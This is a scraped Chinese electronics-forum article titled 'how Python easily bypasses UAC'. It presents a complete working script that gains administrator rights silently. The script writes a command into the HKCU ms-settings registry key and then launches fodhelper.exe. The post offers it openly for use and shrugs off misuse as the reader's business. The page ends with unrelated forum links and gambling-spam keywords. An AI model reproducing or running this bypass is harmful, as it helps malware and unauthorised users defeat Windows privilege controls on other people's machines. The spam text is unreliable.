衡阳派盒市场营销有限公司

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

python如何輕松繞過UAC

電子設計 ? 2018-10-12 11:05 ? 次閱讀

很多時候我們不希望我們的軟件彈出UAC提示,這個時候我們可以通過注冊表的方法去解決。這其實已經不在是一個安全的編程了,它變成了一把雙刃劍。

當然我們只是討論這種問題該怎么解決。具體用在什么方面那是你的問題咯!

通過下面的代碼我們可以輕松繞過UAC:

# -*- coding: utf-8 -*-

“”“

Created on Mon Jan 8 09:09:51 2018

@author: coordinate

”“”

from __future__ import print_function

import os

import sys

import ctypes

if sys.version_info[0] == 3:

import winreg as winreg

else:

import _winreg as winreg

CMD = r“C:\Windows\System32\cmd.exe”

FOD_HELPER = r‘C:\Windows\System32\fodhelper.exe’

PYTHON_CMD = “python”

REG_PATH = ‘Software\Classes\ms-settings\shell\open\command’

DELEGATE_EXEC_REG_KEY = ‘DelegateExecute’

def is_admin():

‘’‘

Checks if the script is running with administrative privileges.

Returns True if is running as admin, False otherwise.

’‘’

try:

return ctypes.windll.shell32.IsUserAnAdmin()

except:

return False

def create_reg_key(key, value):

‘’‘

Creates a reg key

’‘’

try:

winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)

registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)

winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)

winreg.CloseKey(registry_key)

except WindowsError:

raise

def bypass_uac(cmd):

‘’‘

Tries to bypass the UAC

’‘’

try:

create_reg_key(DELEGATE_EXEC_REG_KEY, ‘’)

create_reg_key(None, cmd)

except WindowsError:

raise

def execute():

if not is_admin():

print(‘[?。?The script is NOT running with administrative privileges’)

print(‘[+] Trying to bypass the UAC’)

try:

current_dir = __file__

cmd = ‘{} /k {} {}’.format(CMD, PYTHON_CMD, current_dir)

bypass_uac(cmd)

os.system(FOD_HELPER)

sys.exit(0)

except WindowsError:

sys.exit(1)

else:

#這里添加我們需要管理員權限的代碼

print(‘[+] The script is running with administrative privileges!’)

if __name__ == ‘__main__’:

execute()

---------------------

其實我們這個代碼這里主要是往注冊表中添加了這兩項

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • python
    +關注

    關注

    56

    文章

    4807

    瀏覽量

    85040
收藏 人收藏

    評論

    相關推薦

    請問UAC2.0和UAC3.0有什么區別?

    請教下大家,目前Windows 最高只支持UAC2.0,網上了解到一些信息UAC3.0不向下兼容。那3.0和2.0的差異在哪里呢? 了解到UAC3.0比UAC 2.0降低90%的功耗
    發表于 01-24 08:11

    有關UAC 3556B

    我使用UAC 3556B 聲卡,我的麥怎么無法錄音但是我的耳機能聽歌曲 求指點迷津 急急急 加急
    發表于 07-31 18:33

    Python Editor如何輕松玩轉MicroPython?

    新手編程錯誤的編輯器,基于TPYBoard系列開發板的Micropython語言編輯器--Python Editor。 首先看一下python editor的編程界面:編程界面功能介紹,下文我會
    發表于 06-04 14:36

    請問為什么當UAC設備記錄和播放時,噪聲會定期發生?

    為什么當UAC設備記錄和播放時,噪聲會定期發生?
    發表于 12-25 07:15

    RK3308 Linux UAC與ADB復合怎么才可以同時使用?

    RK3308 Linux UAC與ADB復合怎么才可以同時使用?
    發表于 03-09 06:10

    RK3308如何開啟UAC功能?

    RK3308如何開啟UAC功能?
    發表于 03-09 07:58

    基于Linux內核的Rockchip USB Gadget UAC開發資料分享

    1、Rockchip USB Gadget UAC開發步驟本文檔提供 Rockchip 平臺基于 Linux 內核的 USB Gadget UAC(USB Audio Class)驅動的使用方法
    發表于 08-10 16:03

    介紹Python 3 的功能 讓人輕松地從Python 2遷移到Python 3

    為了使初學者能夠輕松地從 Python 2 向 Python 3 實現遷移,我收集了一些 Python 3 的功能,希望對大家有所幫助。
    的頭像 發表于 01-31 15:11 ?4552次閱讀

    win7如何關閉uac,詳細步驟的介紹

    win7系統的穩定性,兼容性,安全性一直讓大家稱贊,其實是因為它的背后有很多小功能在支持。其中就有一個uac功能,它通過限制應用軟件而改進win7系統的安全性。但是有利就有弊,安裝軟件時它總是彈出
    發表于 03-24 17:28 ?1621次閱讀

    繞過kernel模塊版本校驗檢測

    繞過kernel模塊版本校驗檢測
    發表于 10-28 11:07 ?0次下載

    如何通過python輕松處理大文件

    眾所周知,python除了以簡潔著稱,其成熟的第三方庫功能也是很強大的,今天浩道帶大家看看如何通過python輕松處理大文件,真讓人直呼yyds 。
    的頭像 發表于 04-27 10:54 ?918次閱讀

    Android App開發新選擇:使用Chaquopy輕松結合Python

    。Chaquopy是一個可以幫助開發者在Android App中輕松使用Python代碼的工具。本文將介紹如何安裝Chaquopy,讓你的Android App更加強大。
    的頭像 發表于 04-25 20:29 ?2325次閱讀
    Android App開發新選擇:使用Chaquopy<b class='flag-5'>輕松</b>結合<b class='flag-5'>Python</b>

    使用Teachable Machine和Python輕松進行對象檢測

    電子發燒友網站提供《使用Teachable Machine和Python輕松進行對象檢測.zip》資料免費下載
    發表于 06-27 09:26 ?0次下載
    使用Teachable Machine和<b class='flag-5'>Python</b><b class='flag-5'>輕松</b>進行對象檢測

    PyJNIus:在Python輕松調用Java方法

    PyJNIus 是一個神奇的 Python 第三方模塊。它能使用Java本地接口將Java類作為Python類訪問的Python模塊。 如果你需要在Python中使用Java 類,這個
    的頭像 發表于 10-30 11:32 ?986次閱讀

    PyJNIus :讓你在Python輕松調用Java方法

    PyJNIus 是一個神奇的 Python 第三方模塊。它能使用Java本地接口將Java類作為Python類訪問的Python模塊。 如果你需要在Python中使用Java 類,這個
    的頭像 發表于 11-01 10:45 ?896次閱讀
    博狗百家乐现场| 大发888游戏平台| 凤凰百家乐的玩法技巧和规则| 试玩百家乐网| 功夫百家乐的玩法技巧和规则| 免费百家乐过滤软件| 御匾会百家乐的玩法技巧和规则 | 武胜县| 百家乐官网技巧真人荷官网| 线上百家乐的玩法技巧和规则| qq德州扑克下载| 百家乐官网视频挖坑| 任我赢百家乐官网自动投注分析系统 | 噶尔县| 做百家乐官网网上投注| 真人百家乐官网软件博彩吧| 百家乐官网过滤| 大赢家百家乐官网的玩法技巧和规则 | 百家乐开闲几率| 百家乐官网登封代理| 缅甸百家乐博彩| 桦甸市| 聚宝盆百家乐官网的玩法技巧和规则 | 百家乐官网九| 太子娱乐城开户| 玩百家乐是否有技巧| 云顶国际平台| 英皇百家乐官网的玩法技巧和规则| 516棋牌游戏中心 官方版| 爱婴百家乐官网的玩法技巧和规则| 豫游棋牌游戏中心| 亚洲百家乐官网的玩法技巧和规则| 棋牌娱乐游戏大厅| 老虎机批发| 娱乐城百家乐的玩法技巧和规则 | 威尼斯人娱乐场老品牌| 运城百家乐官网蓝盾| 韩城市| 百家乐路技巧| 龙博百家乐官网的玩法技巧和规则 | 新西兰百家乐官网的玩法技巧和规则|